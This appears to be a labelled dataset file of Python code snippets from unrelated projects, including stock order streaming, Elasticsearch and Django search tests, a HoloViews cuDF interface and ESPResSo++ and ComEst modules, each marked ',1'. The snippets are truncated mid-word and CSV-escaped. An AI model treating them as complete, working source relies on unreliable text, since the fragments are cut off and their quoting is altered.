OrderSell from stocker.common.utils import Stream class CompanyProcessor(object): def __init__(self, dirname, company_id): self.dirname = os.path.join(dirname, company_id) self.company_id = company_id def get_dates(self): files = [os.path.splitext(fi)[0] for fi in os.walk(self.dirname).next()[2]] return files def get_row(self, date): filename = os.path.join(self.dirname, date) + "".csv"" try: with open(filename, 'r') as f: for row in reversed(list(csv.reader(f, delimiter=';'))): try: desc = row[5] if desc.startswith('TRANSAKCJA'): yield (row, self.company_id) except IndexError: pass except IOError as e: return class Processor(object): def build_stream(self, dirname_in, filename_out): self.stream = Stream() self.stream.begin(filename_out) self.__process_companies(dirname_in) self.stream.end() def __process_companies(self, dirname): companies = [] for company in os.walk(dirname).next()[1]: companies.append(CompanyProcessor(dirname, company)) dates_set = set() for company in companies: dates_set.update(company.get_dates()) dates_ordered = sorted(dates_set, key=lambda date: datetime.datetime.strptime(date, ""%Y-%m-%d"")) for date in dates_ordered: self.__process_date(date, companies) def __process_date(self, date, companies): rows = [] correct_generators = [] correct_day = False generators = [company.get_row(date) for company in companies] for generator in generators: try: row, company_id = generator.next() row = (company_id, row, generator) rows.append(row) correct_generators.append(generator) except StopIteration as e: pass if correct_generators: # correct day (have transactions) correct_day = True if correct_day: self.stream.add_event(EventStockOpen( datetime.datetime.combine(datetime.datetime.strptime(date, ""%Y-%m-%d""), datetime.time(9, 0)))) # main loop, multiplexing rows while correct_generators: row_data = min(rows, key=lambda row: datetime.datetime.strptime(row[1][0], ""%H:%M:%S"")) rows.remove(row_data) company_id, row, generator = row_data self.__process_row(row, date, company_id) try: row, company_id = generator.next() row = (company_id, row, generator) rows.append(row) except StopIteration as e: correct_generators.remove(generator) if correct_day: self.stream.add_event(EventStockClose( datetime.datetime.combine(datetime.datetime.strptime(date, ""%Y-%m-%d""), datetime.time(18, 0)))) def __process_row(self, row, date, company_id): amount = int(row[3]) limit_price = decimal.Decimal(row[1].replace(',', '.')) timestamp = datetime.datetime.strptime(""%s %s"" % (date, row[0]), ""%Y-%m-%d %H:%M:%S"") expiration_date = timestamp + datetime.timedelta(days=1) self.stream.add_event( EventStreamNew(timestamp, OrderBuy(company_id, amount, limit_price, expiration_date))) self.stream.add_event( EventStreamNew(timestamp, OrderSell(company_id, amount, limit_price, expiration_date))) ",1 "qs.dsl import Term, Sort, ScriptScore from tests.helpers import homogeneous @httpretty.activate def test_create_queryset_with_host_string(): """""" Create a queryset with a host given as a string """""" # When create a queryset t = QuerySet(""localhost"", index=""bar"") # And I have records response = { ""took"": 1, ""hits"": { ""total"": 1, ""max_score"": 1, ""hits"": [ { ""_index"": ""bar"", ""_type"": ""baz"", ""_id"": ""1"", ""_score"": 10, ""_source"": { ""foo"": ""bar"" }, ""sort"": [ 1395687078000 ] } ] } } httpretty.register_uri(httpretty.GET, ""http://localhost:9200/bar/_search"", body=json.dumps(response), content_type=""application/json"") # When I run a query results = t[0:1] # Then I see the response. len(results).should.equal(1) @httpretty.activate def test_create_queryset_with_host_dict(): """""" Create a queryset with a host given as a dict """""" # When create a queryset connection_info = {""host"": ""localhost"", ""port"": 8080} t = QuerySet(connection_info, index=""bar"") # And I have records good_response = { ""took"": 1, ""hits"": { ""total"": 1, ""max_score"": 1, ""hits"": [ { ""_index"": ""bar"", ""_type"": ""baz"", ""_id"": ""1"", ""_score"": 10, ""_source"": { ""foo"": ""bar"" }, ""sort"": [ 1395687078000 ] } ] } } bad_response = { ""took"": 1, ""hits"": { ""total"": 0, ""max_score"": None, ""hits"": [] } } httpretty.register_uri(httpretty.GET, ""http://localhost:9200/bar/_search"", body=json.dumps(bad_response), content_type=""application/json"") httpretty.register_uri(httpretty.GET, ""http://localhost:8080/bar/_search"", body=json.dumps(good_response), content_type=""application/json"") # When I run a query results = t[0:1] # Then I see the response. len(results).should.equal(1) results[0][""_source""][""foo""].should.equal(""bar"") @httpretty.activate def test_create_queryset_with_host_list(): """""" Create a queryset with a host given as a list """""" # When create a queryset connection_info = [{""host"": ""localhost"", ""port"": 8080}] t = QuerySet(connection_info, index=""bar"") # And I have records good_response = { ""took"": 1, ""hits"": { ""total"": 1, ""max_score"": 1, ""hits"": [ { ""_index"": ""bar"", ""_type"": ""baz"", ""_id"": ""1"", ""_score"": 10, ""_source"": { ""foo"": ""bar"" }, ""sort"": [ 1395687078000 ] } ] } } bad_response = { ""took"": 1, ""hits"": { ""total"": 0, ""max_score"": None, ""hits"": [] } } httpretty.register_uri(httpretty.GET, ""http://localhost:9200/bar/_search"", body=json.dumps(bad_response), content_type=""application/json"") httpretty.register_uri(httpretty.GET, ""http://localhost:8080/bar/_search"", body=json.dumps(good_response), content_type=""application/json"") # When I run a query results = t[0:1] # Then I see the response. len(results).should.equal(1) results[0][""_source""][""foo""].should.equal(""bar"") ",1 "m .. import util from ..dimension import dimension_name from ..element import Element from ..ndmapping import NdMapping, item_check, sorted_context from .interface import DataError, Interface from .pandas import PandasInterface from .util import finite_range class cuDFInterface(PandasInterface): """""" The cuDFInterface allows a Dataset objects to wrap a cuDF DataFrame object. Using cuDF allows working with columnar data on a GPU. Most operations leave the data in GPU memory, however to plot the data it has to be loaded into memory. The cuDFInterface covers almost the complete API exposed by the PandasInterface with two notable exceptions: 1) Aggregation and groupby do not have a consistent sort order (see https://github.com/rapidsai/cudf/issues/4237) 3) Not all functions can be easily applied to a cuDF so some functions applied with aggregate and reduce will not work. """""" datatype = 'cuDF' types = () @classmethod def loaded(cls): return 'cudf' in sys.modules @classmethod def applies(cls, obj): if not cls.loaded(): return False import cudf return isinstance(obj, (cudf.DataFrame, cudf.Series)) @classmethod def init(cls, eltype, data, kdims, vdims): import cudf import pandas as pd element_params = eltype.param.objects() kdim_param = element_params['kdims'] vdim_param = element_params['vdims'] if isinstance(data, (cudf.Series, pd.Series)): data = data.to_frame() if not isinstance(data, cudf.DataFrame): data, _, _ = PandasInterface.init(eltype, data, kdims, vdims) data = cudf.from_pandas(data) columns = list(data.columns) ncols = len(columns) index_names = [data.index.name] if index_names == [None]: index_names = ['index'] if eltype._auto_indexable_1d and ncols == 1 and kdims is None: kdims = list(index_names) if isinstance(kdim_param.bounds[1], int): ndim = min([kdim_param.bounds[1], len(kdim_param.default)]) else: ndim = None nvdim = vdim_param.bounds[1] if isinstance(vdim_param.bounds[1], int) else None if kdims and vdims is None: vdims = [c for c in columns if c not in kdims] elif vdims and kdims is None: kdims = [c for c in columns if c not in vdims][:ndim] elif kdims is None: kdims = list(columns[:ndim]) if vdims is None: vdims = [d for d in columns[ndim:((ndim+nvdim) if nvdim else None)] if d not in kdims] elif kdims == [] and vdims is None: vdims = list(columns[:nvdim if nvdim else None]) # Handle reset of index if kdims reference index by name for kd in kdims: kd = dimension_name(kd) if kd in columns: continue if any(kd == ('index' if name is None else name) for name in index_names): data = data.reset_index() break if any(isinstance(d, (np.int64, int)) for d in kdims+vdims): raise DataError(""cudf DataFrame column names used as dimensions "" ""must be strings not integers."", cls) if kdims: kdim = dimension_name(kdims[0]) if eltype._auto_indexable_1d and ncols == 1 and kdim not in columns: data = data.copy() data.insert(0, kdim, np.arange(len(data))) for d in kdims+vdims: d = dimension_name(d) if len([c for c in columns if c == d]) > 1: raise DataError('Dimensions may not reference duplicated DataFrame ' 'columns (found duplicate %r columns). If you want to plot ' 'a column against itself simply declare two dimensions ' 'with the same name. '% d, cls) return data, {'kdims':kdims, 'vdims':vdims}, {} @classmethod def range(cls, dataset, dimension): dimension = dataset.get_dimension(dimension, strict=True) column = dataset.data[dimension.name] if dimension.nodata is not None: column = cls.replace_value(column, dimension.nodata) if column.dtype.kind == 'O': return np.NaN, np.NaN else: return finite_range(column, column.min(), column.max()) @classmethod def values(cls, dataset, dim, expanded=True, flat=True, compute=True, keep_index=False): dim = dataset.get_dimension(dim, strict=True) data = dataset.data[dim.name] if not expanded: data = data.unique() return data.values_host if compute else data.values elif keep_index: return data elif compute: return data.values_host try: return data.values except Exception: return data.values_host @classmethod def groupby(cls, dataset, dimensions, container_type, group_type, **kwargs): # Get dimensions information dimensions = [dataset.get_dimension(d).name for d in dimensions] kdims = [kdim for kdim in dataset.kdims if kdim not in dimensions] # Update the kwargs appropriately for Element group types group_kwargs = {} group_type = dict if group_type == 'raw' else group_type if issubclass(group_type, Element): group_kwargs.update(util.get_param_values(dataset)) group_kwargs['kdims'] = kdims group_kwargs.update(kwargs) # Propagate dataset group_kwargs['dataset'] = dataset.dataset # Find all the keys along supplied dimensions keys = product(*(dataset.data[dimensions[0]].unique().values_host for d in dimensions)) # Iterate over the unique entries applying selection masks grouped_data = [] for unique_key in util.unique_iterator(keys): group_data = dataset.select(**dict(zip(dimensions, unique_key))) if not len(group_data): continue group_data = group_type(group_data, **group_kwargs) grouped_data.append((unique_key, group_data)) if issubclass(container_type, NdMapping): with item_check(False), sorted_context(False): kdims = [dataset.get_dimension(d) for d in dimensions] return container_type(grouped_data, kdims=kdims) else: return container_type(grouped_data) @classmethod def select_mask(cls, dataset, selection): """""" Given a Dataset object and a dictionary with dimension keys and selection keys (i.e. tuple ranges, slices, sets, lists, or literals) return a boolean mask over the rows in the Dataset object that have been selected. """""" mask = None for dim, sel in selection.items(): if isinstance(sel, tuple): sel = slice(*sel) arr = cls.values(dataset, dim, keep_index=True) if util.isdatetime(arr) and util.pd: try: sel = util.parse_datetime_selection(sel) except: pass new_masks = [] if isinstance(sel, slice): with warnings.catch_warnings(): warnings.filterwarnings('ignore', r'invalid value encountered') if sel.start is not None: new_masks.append(sel.start <= arr) if sel.stop is not None: new_masks.append(arr < sel.stop) if not new_masks: continue new_mask = new_masks[0] for imask in new_masks[1:]: new_mask &= imask elif isinstance(sel, (set, list)): for v in sel: new_masks.append(arr==v) if not new_masks: continue new_mask = new_masks[0] for imask in new_masks[1:]: new_mask |= imask elif callable(sel): new_mask = sel(arr) else: new_mask = arr == sel if mask is None: mask = new_mask else: mask &= new_mask return mask @classmethod def select(cls, dataset, selection_mask=None, **selection): df = dataset.data if selection_mask is None: selection_mask = cls.select_mask(dataset, selection) indexed = cls.indexed(dataset, selection) if selection_mask is not None: df = df.loc[selection_mask] if indexed and len(df) == 1 and len(dataset.vdims) == 1: return df[dataset.vdims[0].name].iloc[0] return df @classmethod def concat_fn(cls, dataframes, **kwargs): import cudf return cudf.concat(dataframes, **kwargs) @classmethod def add_dimension(cls, dataset, dimension, dim_pos, values, vdim): data = dataset.data.copy() if dimension.name not in data: data[dimension.name] = values return data @classmethod def aggregate(cls, dataset, dimensions, function, **kwargs): data = dataset.data cols = [d.name for d in dataset.kdims if d in dimensions] vdims = dataset.dimensions('value', label='name') reindexed = data[cols+vdims] agg = function.__name__ if len(dimensions): agg_map = {'amin': 'min', 'amax': 'max'} agg = agg_map.get(agg, agg) grouped = reindexed.groupby(cols, sort=False) if not hasattr(grouped, agg): raise ValueError('%s aggregation is not supported on cudf DataFrame.' % agg) df = getattr(grouped, agg)().reset_index() else: agg_map = {'amin': 'min', 'amax': 'max', 'size': 'count'} agg = agg_map.get(agg, agg) if not hasattr(reindexed, agg): raise ValueError('%s aggregation is not supported on cudf DataFrame.' % agg) agg = getattr(reindexed, agg)() data = dict(((col, [v]) for col, v in zip(agg.index.values_host, agg.to_array()))) df = util.pd.DataFrame(data, columns=list(agg.index.values_host)) dropped = [] for vd in vdims: if vd not in df.columns: dropped.append(vd) return df, dropped @classmethod def iloc(cls, dataset, index): import cudf rows, cols = index scalar = False columns = list(dataset.data.columns) if isinstance(cols, slice): cols = [d.name for d in dataset.dimensions()][cols] elif np.isscalar(cols): scalar = np.isscalar(rows) cols = [dataset.get_dimension(cols).name] else: cols = [dataset.get_dimension(d).name for d in index[1]] col_index = [columns.index(c) for c in cols] if np.isscalar(rows): rows = [rows] if scalar: return dataset.data[cols[0]].iloc[rows[0]] result = dataset.data.iloc[rows, col_index] # cuDF does not handle single rows and cols indexing correctly # as of cudf=0.10.0 so we have to convert Series back to DataFrame if isinstance(result, cudf.Series): if len(cols) == 1: result = result.to_frame(cols[0]) else: result = result.to_frame().T return result @classmethod def sort(cls, dataset, by=[], reverse=False): cols = [dataset.get_dimension(d, strict=True).name for d in by] return dataset.data.sort_values(by=cols, ascending=not reverse) @classmethod def dframe(cls, dataset, dimensions): if dimensions: return dataset.data[dimensions].to_pandas() else: return dataset.data.to_pandas() Interface.register(cuDFInterface) ",1 "er Research & Fraunhofer SCAI # # This file is part of ESPResSo++. # # ESPResSo++ is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ESPResSo++ is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . r"""""" ******************************************** **espressopp.integrator.LangevinThermostat** ******************************************** .. function:: espressopp.integrator.LangevinThermostat(system) :param system: :type system: """""" from espressopp.esutil import cxxinit from espressopp import pmi from espressopp.integrator.Extension import * from _espressopp import integrator_LangevinThermostat class LangevinThermostatLocal(ExtensionLocal, integrator_LangevinThermostat): def __init__(self, system): if not (pmi._PMIComm and pmi._PMIComm.isActive()) or pmi._MPIcomm.rank in pmi._PMIComm.getMPIcpugroup(): cxxinit(self, integrator_LangevinThermostat, system) #def enableAdress(self): # if pmi.workerIsActive(): # self.cxxclass.enableAdress(self); if pmi.isController : class LangevinThermostat(Extension): __metaclass__ = pmi.Proxy pmiproxydefs = dict( cls = 'espressopp.integrator.LangevinThermostatLocal', pmiproperty = [ 'gamma', 'temperature', 'adress' ] ) ",1 "######### class argpasser(object): """""" ComEst use the arguments that are almost repeatedly. Therefore, it will be useful to create a customized arguemnt passer like this. """""" def __init__(self, stamp_size_arcsec = 20.0, mag_dict = {""lo"":20.0, ""hi"":25.0 }, hlr_dict = {""lo"":0.35, ""hi"":0.75 }, fbulge_dict = {""lo"":0.5 , ""hi"":0.9 }, q_dict = {""lo"":0.4 , ""hi"":1.0 }, pos_ang_dict = {""lo"":0.0 , ""hi"":180.0}, ngals_arcmin2 = 15.0, nsimimages = 50, ncpu = 2, ): """""" :param stamp_size_arcsec: The size of the stamp of each simulated source by **GalSim**. The stamp is with the size of ``stamp_size_arcsec`` x ``stamp_size_arcsec`` (``stamp_size_arcsec`` in arcsec) where the **GalSim** will simulate one single source on. By default, it is ``stamp_size_arcsec = 15.0``. :param mag_dict: The magnitude range which **GalSim** will simulate sources. It must be in the form of ``{""lo"": _value_, ""hi"": _value_}``, where _value_ is expressed in magnitude. By default, it is ``mag_dict = {""lo"":20.0, ""hi"":25.0 }``. :param hlr_dict: The half light radius configuration of the sources simulated by **GalSim**. It is in the unit of arcsec. It has to be in the form of ``{""lo"": _value_, ""high"": _value_}``. By default, it is ``hlr_dict = {""lo"":0.35 , ""hi"":0.75 }``. :param fbulge_dict: The configuration of the fraction of the bulge component. It must be in the form of ``{""lo"": _value_, ""high"": _value_}``. Note that the _value_ has to be within [0,1] and 1 means the galaxy has zero fraction of light from the disk component. By default, it is ``fbulge_dict = {""lo"":0.5 , ""hi"":0.9 }``. :param q_dict: The minor-to-major axis ratio configuration of the sources simulated by **GalSim**. It must be in the form of ``{""lo"": _value_, ""high"": _value_}``. Note that the _value_ has to be within [0,1] and ``q = 1`` means spherical. By default, it is ``q_dict = {""lo"":0.4 , ""hi"":1.0 }``. :param pos_ang_dict: The position angle configuration of the sources simulated by **GalSim**. It is in the unit of degree. It must be in the form of ``{""lo"": _value_, ""high"": _value_}``. Note that the _value_ has to be within [0,180.0] and it is counter-clockwise with +x is 0 degree. By default, it is ``pos_ang_dict={""lo"":0.0 , ""hi"":180.0 }``. :param ngals_arcmin2: The projected number of the sources simulated by **GalSim** per arcmin square. You dont want to set this number too high because it will cause the problem from blending in the source detection. However, you dont want to lose the statistic power if you set this number too low. By defualt, it is ``ngals_arcmin2 = 15.0``. :param nsimimages: The number of the images you want to simulate. It will be saved in the multi-extension file with the code name ``sims_nameroot``. By default, it is ``nsimimages = 50``. :param ncpu: The number of cpu for parallel running. By default, it is ``ncpu = 2``. Please do not set this number higher than the CPU cores you have. """""" self.stamp_size_arcsec = float(stamp_size_arcsec) self.mag_dict = mag_dict self.hlr_dict = hlr_dict self.fbulge_dict = fbulge_dict self.q_dict = q_dict self.pos_ang_dict = pos_ang_dict self.ngals_arcmin2 = float(ngals_arcmin2) self.nsimimages = int(nsimimages) self.ncpu = int(ncpu) return # i_am function def i_am(self): """""" """""" print ""#"", ""stamp_size_arcsec:"", self.stamp_size_arcsec print ""#"", ""mag_dict:"", self.mag_dict print ""#"", ""hlr_dict:"", self.hlr_dict print ""#"", ""fbulge_dict:"", self.fbulge_dict print ""#"", ""q_dict:"", self.q_dict print ""#"", ""pos_ang_dict:"", self.pos_ang_dict print ""#"", ""ngals_arcmin2:"", self.ngals_arcmin2 print ""#"", ""nsimimages:"", self.nsimimages print ""#"", ""ncpu:"", self.ncpu return ",1 "o.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth.models import Permission from django.test import override_settings, tag from django.urls import reverse from django.utils import timezone from django.utils.timezone import make_aware from elasticsearch.client import IngestClient from elasticsearch.exceptions import ConnectionError from elasticsearch_dsl.connections import ( connections, get_connection as get_es_connection, ) from languages_plus.models import Language from rest_framework import status from rest_framework.test import APITestCase, APITransactionTestCase from ESSArch_Core.agents.models import ( Agent, AgentTagLink, AgentTagLinkRelationType, AgentType, MainAgentType, RefCode, ) from ESSArch_Core.auth.models import Group, GroupType from ESSArch_Core.configuration.models import Feature from ESSArch_Core.ip.models import InformationPackage from ESSArch_Core.maintenance.models import AppraisalJob from ESSArch_Core.search import alias_migration from ESSArch_Core.tags.documents import ( Archive, Component, File, StructureUnitDocument, ) from ESSArch_Core.tags.models import ( Structure, StructureType, StructureUnit, StructureUnitType, Tag, TagStructure, TagVersion, TagVersionType, ) User = get_user_model() def get_test_client(nowait=False): client = get_es_connection('default') # wait for yellow status for _ in range(1 if nowait else 5): try: client.cluster.health(wait_for_status=""yellow"") return client except ConnectionError: time.sleep(0.1) else: # timeout raise SkipTest(""Elasticsearch failed to start"") class ESSArchSearchBaseTestCaseMixin: @staticmethod def _get_client(): return get_test_client() @classmethod def setUpClass(cls): if cls._overridden_settings: cls._cls_overridden_context = override_settings(**cls._overridden_settings) cls._cls_overridden_context.enable() connections.configure(**settings.ELASTICSEARCH_CONNECTIONS) cls.es_client = cls._get_client() IngestClient(cls.es_client).put_pipeline(id='ingest_attachment', body={ 'description': ""Extract attachment information"", 'processors': [ { ""attachment"": { ""field"": ""data"", ""indexed_chars"": ""-1"" }, ""remove"": { ""field"": ""data"" } } ] }) super().setUpClass() def setUp(self): for _index_name, index_class in settings.ELASTICSEARCH_INDEXES['default'].items(): doctype = locate(index_class) alias_migration.setup_index(doctype) def tearDown(self): self.es_client.indices.delete(index=""*"", ignore=404) self.es_client.indices.delete_template(name=""*"", ignore=404) @override_settings(ELASTICSEARCH_CONNECTIONS=settings.ELASTICSEARCH_TEST_CONNECTIONS) @tag('requires-elasticsearch') class ESSArchSearchBaseTestCase(ESSArchSearchBaseTestCaseMixin, APITestCase): pass @override_settings(ELASTICSEARCH_CONNECTIONS=settings.ELASTICSEARCH_TEST_CONNECTIONS) @tag('requires-elasticsearch') class ESSArchSearchBaseTransactionTestCase(ESSArchSearchBaseTestCaseMixin, APITransactionTestCase): pass class ComponentSearchTestCase(ESSArchSearchBaseTestCase): fixtures = ['countries_data', 'languages_data'] @classmethod def setUpTestData(cls): cls.url = reverse('search-list') Feature.objects.create(name='archival descriptions', enabled=True) cls.user = User.objects.create() permission = Permission.objects.get(codename='search') cls.user.user_permissions.add(permission) org_group_type = GroupType.objects.create(codename='organization') cls.group1 = Group.objects.create(name='group1', group_type=org_group_type) cls.group1.add_member(cls.user.essauth_member) cls.group2 = Group.objects.create(name='group2', group_type=org_group_type) cls.group2.add_member(cls.user.essauth_member) cls.component_type = TagVersionType.objects.create(name='component', archive_type=False) cls.archive_type = TagVersionType.objects.create(name='archive', archive_type=True) def setUp(self): super().setUp() self.client.force_authenticate(user=self.user) @staticmethod def create_agent(): return Agent.objects.create( type=AgentType.objects.create(main_type=MainAgentType.objects.create()), ref_code=RefCode.objects.create( country=Country.objects.get(iso='SE'), repository_code='repo', ), level_of_detail=0, record_status=0, script=0, language=Language.objects.get(iso_639_1='sv'), create_date=timezone.now(), ) def test_search_component(self): component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", ) Component.from_obj(component_tag_version).save(refresh='true') with self.subTest('without archive'): res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) structure_type = StructureType.objects.create() structure_template = Structure.objects.create(type=structure_type, is_template=True) archive_tag = Tag.objects.create() archive_tag_version = TagVersion.objects.create( tag=archive_tag, type=self.archive_type, elastic_index=""archive"", ) self.group1.add_object(archive_tag_version) structure, archive_tag_structure = structure_template.create_template_instance(archive_tag) Archive.from_obj(archive_tag_version).save(refresh='true') TagStructure.objects.create(tag=component_tag, parent=archive_tag_structure, structure=structure) Component.index_documents(remove_stale=True) with self.subTest('with archive'): res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) with self.subTest('with archive, non-active organization'): self.user.user_profile.current_organization = self.group2 self.user.user_profile.save() res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) def test_filter_on_component_agent(self): agent = self.create_agent() component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", ) structure_type = StructureType.objects.create() structure_template = Structure.objects.create(type=structure_type, is_template=True) archive_tag = Tag.objects.create() archive_tag_version = TagVersion.objects.create( tag=archive_tag, type=self.archive_type, elastic_index=""archive"", ) structure, archive_tag_structure = structure_template.create_template_instance(archive_tag) Archive.from_obj(archive_tag_version).save(refresh='true') TagStructure.objects.create(tag=component_tag, parent=archive_tag_structure, structure=structure) AgentTagLink.objects.create( agent=agent, tag=component_tag_version, type=AgentTagLinkRelationType.objects.create(), ) Component.from_obj(component_tag_version).save(refresh='true') res = self.client.get(self.url, {'agents': str(agent.pk)}) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) def test_filter_on_archive_agent(self): agent = self.create_agent() component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", ) structure_type = StructureType.objects.create() structure_template = Structure.objects.create(type=structure_type, is_template=True) archive_tag = Tag.objects.create() archive_tag_version = TagVersion.objects.create( tag=archive_tag, type=self.archive_type, elastic_index=""archive"", ) structure, archive_tag_structure = structure_template.create_template_instance(archive_tag) Archive.from_obj(archive_tag_version).save(refresh='true') TagStructure.objects.create(tag=component_tag, parent=archive_tag_structure, structure=structure) AgentTagLink.objects.create( agent=agent, tag=archive_tag_version, type=AgentTagLinkRelationType.objects.create(), ) Component.from_obj(component_tag_version).save(refresh='true') res = self.client.get(self.url, {'agents': str(agent.pk)}) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) def test_filter_appraisal_date(self): component_tag = Tag.objects.create(appraisal_date=make_aware(datetime(year=2020, month=1, day=1))) component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", ) doc = Component.from_obj(component_tag_version) doc.save(refresh='true') with self.subTest('2020-01-01 is after or equal to 2020-01-01'): res = self.client.get(self.url, data={'appraisal_date_after': '2020-01-01'}) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) with self.subTest('2020-01-01 not after 2020-01-02'): res = self.client.get(self.url, data={'appraisal_date_after': '2020-01-02'}) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) with self.subTest('2020-01-01 not before 2019-12-31'): res = self.client.get(self.url, data={'appraisal_date_before': '2019-12-31'}) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) with self.subTest('2020-01-01 between 2019-01-01 and 2020-01-01'): res = self.client.get(self.url, data={ 'appraisal_date_after': '2019-01-01', 'appraisal_date_before': '2020-01-01', }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) with self.subTest('2020-01-01 between 2020-01-01 and 2020-12-31'): res = self.client.get(self.url, data={ 'appraisal_date_after': '2020-01-01', 'appraisal_date_before': '2020-12-31', }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) with self.subTest('2020-01-01 not between 2020-01-02 and 2020-12-31'): res = self.client.get(self.url, data={ 'appraisal_date_after': '2020-01-02', 'appraisal_date_before': '2020-12-31', }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) with self.subTest('2020-01-01 not between 2019-01-01 and 2019-12-31'): res = self.client.get(self.url, data={ 'appraisal_date_after': '2019-01-01', 'appraisal_date_before': '2019-12-31', }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) with self.subTest('invalid range 2020-12-31 - 2020-01-01'): res = self.client.get(self.url, data={ 'appraisal_date_after': '2020-12-31', 'appraisal_date_before': '2020-01-01', }) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_add_results_to_appraisal(self): component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( name='foo', tag=component_tag, type=self.component_type, elastic_index=""component"", ) Component.from_obj(component_tag_version).save(refresh='true') component_tag2 = Tag.objects.create() component_tag_version2 = TagVersion.objects.create( name='bar', tag=component_tag2, type=self.component_type, elastic_index=""component"", ) Component.from_obj(component_tag_version2).save(refresh='true') # test that we don't try to add structure units matched by query to job structure = Structure.objects.create(type=StructureType.objects.create(), is_template=False) structure_unit = StructureUnit.objects.create( name='foo', structure=structure, type=StructureUnitType.objects.create(structure_type=structure.type), ) StructureUnitDocument.from_obj(structure_unit).save(refresh='true') appraisal_job = AppraisalJob.objects.create() res = self.client.get(self.url, data={ 'q': 'foo', 'add_to_appraisal': appraisal_job.pk }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertCountEqual(appraisal_job.tags.all(), [component_tag]) res = self.client.get(self.url, data={ 'add_to_appraisal': appraisal_job.pk }) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertCountEqual(appraisal_job.tags.all(), [component_tag, component_tag2]) class DocumentSearchTestCase(ESSArchSearchBaseTestCase): fixtures = ['countries_data', 'languages_data'] @classmethod def setUpTestData(cls): cls.url = reverse('search-list') Feature.objects.create(name='archival descriptions', enabled=True) org_group_type = GroupType.objects.create(codename='organization') cls.group = Group.objects.create(group_type=org_group_type) cls.component_type = TagVersionType.objects.create(name='component', archive_type=False) cls.archive_type = TagVersionType.objects.create(name='archive', archive_type=True) def setUp(self): super().setUp() permission = Permission.objects.get(codename='search') self.user = User.objects.create() self.user.user_permissions.add(permission) self.group.add_member(self.user.essauth_member) self.client.force_authenticate(user=self.user) def test_search_document_in_ip_with_other_user_responsible_without_permission_to_see_it(self): other_user = User.objects.create(username='other') self.group.add_member(other_user.essauth_member) ip = InformationPackage.objects.create(responsible=other_user) self.group.add_object(ip) document_tag = Tag.objects.create(information_package=ip) document_tag_version = TagVersion.objects.create( tag=document_tag, type=self.component_type, elastic_index=""document"", ) File.from_obj(document_tag_version).save(refresh='true') res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) def test_search_document_in_ip_with_other_user_responsible_with_permission_to_see_it(self): self.user.user_permissions.add(Permission.objects.get(codename='see_other_user_ip_files')) other_user = User.objects.create(username='other') self.group.add_member(other_user.essauth_member) ip = InformationPackage.objects.create(responsible=other_user) self.group.add_object(ip) document_tag = Tag.objects.create(information_package=ip) document_tag_version = TagVersion.objects.create( tag=document_tag, type=self.component_type, elastic_index=""document"", ) File.from_obj(document_tag_version).save(refresh='true') res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(document_tag_version.pk)) class SecurityLevelTestCase(ESSArchSearchBaseTestCase): fixtures = ['countries_data', 'languages_data'] @classmethod def setUpTestData(cls): cls.url = reverse('search-list') Feature.objects.create(name='archival descriptions', enabled=True) cls.component_type = TagVersionType.objects.create(name='component', archive_type=False) cls.security_levels = [1, 2, 3, 4, 5] def setUp(self): super().setUp() self.user = User.objects.create() permission = Permission.objects.get(codename='search') self.user.user_permissions.add(permission) self.client.force_authenticate(user=self.user) def test_user_with_no_security_level(self): component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", security_level=None, ) Component.from_obj(component_tag_version).save(refresh='true') with self.subTest('no security level'): res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) for lvl in self.security_levels[1:]: with self.subTest(f'security level {lvl}'): component_tag_version.security_level = lvl component_tag_version.save() Component.from_obj(component_tag_version).save(refresh='true') res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) def test_user_with_security_level_3(self): self.user.user_permissions.add(Permission.objects.get(codename='security_level_3')) 